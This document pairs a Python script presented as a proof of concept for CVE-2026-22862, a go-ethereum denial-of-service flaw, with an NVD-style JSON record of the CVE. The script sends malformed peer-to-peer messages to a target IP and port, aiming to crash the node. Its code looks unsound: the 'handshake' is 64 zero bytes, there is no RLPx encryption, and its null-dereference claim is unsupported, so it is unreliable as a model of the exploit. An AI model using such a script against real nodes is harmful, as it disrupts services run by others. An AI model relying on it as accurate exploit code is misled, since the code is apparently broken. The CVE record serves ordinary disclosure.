CVE-2026-22862

#!/usr/bin/env python3 """ CVE-2026-22862 PoC - go-ethereum DoS vulnerability Note: This PoC is for educational and security testing purposes only. """ import socket import struct import time def create_malformed_eth_message(): """ Create a malformed Ethereum P2P protocol message This triggers the vulnerability in go-ethereum < 1.16.8 """ # RLP encoding with invalid structure # Target: eth/62 or eth/63 protocol messages msg_type = b'\x02' # GetBlockHeaders opcode # Malformed payload - invalid block number encoding payload = msg_type + b'\xc0' # Empty list - triggers null dereference return payload def send_malformed_p2p_message(target_ip, target_port, peer_id): """ Send malformed P2P message to trigger DoS """ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((target_ip, target_port)) # P2P handshake hello_packet = create_p2p_hello() sock.send(hello_packet) time.sleep(1) # Send malformed eth protocol message eth_msg = create_malformed_eth_message() sock.send(eth_msg) print(f"[*] Malformed message sent to {target_ip}:{target_port}") print("[*] If vulnerable, the target node should crash") except Exception as e: print(f"[!] Error: {e}") finally: sock.close() def create_p2p_hello(): """Create basic P2P hello packet for handshake""" # Simplified P2P hello packet structure return b'\x00' * 64 if __name__ == "__main__": import sys if len(sys.argv) < 3: print("Usage: python3 poc.py <target_ip> <port>") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) send_malformed_p2p_message(target_ip, target_port, None)

{"cve": {"id": "CVE-2026-22862", "sourceIdentifier": "[email protected]", "published": "2026-01-13T21:15:54.613", "lastModified": "2026-01-29T18:03:38.380", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "go-ethereum (geth) is a golang execution layer implementation of the Ethereum protocol. A vulnerable node can be forced to shutdown/crash using a specially crafted message. This vulnerability is fixed in 1.16.8."}, {"lang": "es", "value": "go-ethereum (geth) es una implementación de capa de ejecución de golang del protocolo Ethereum. Un nodo vulnerable puede ser forzado a apagarse/colapsar usando un mensaje especialmente diseñado. Esta vulnerabilidad está corregida en 1.16.8."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ethereum:go_ethereum:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.16.8", "matchCriteriaId": "02BEA88E-40F5-4CD5-AFF7-549EF1B4CD1F"}]}]}], "references": [{"url": "https://github.com/ethereum/go-ethereum/commit/abeb78c647e354ed922726a1d719ac7bc64a07e2", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ethereum/go-ethereum/security/advisories/GHSA-mr7q-c9w9-wh4h", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}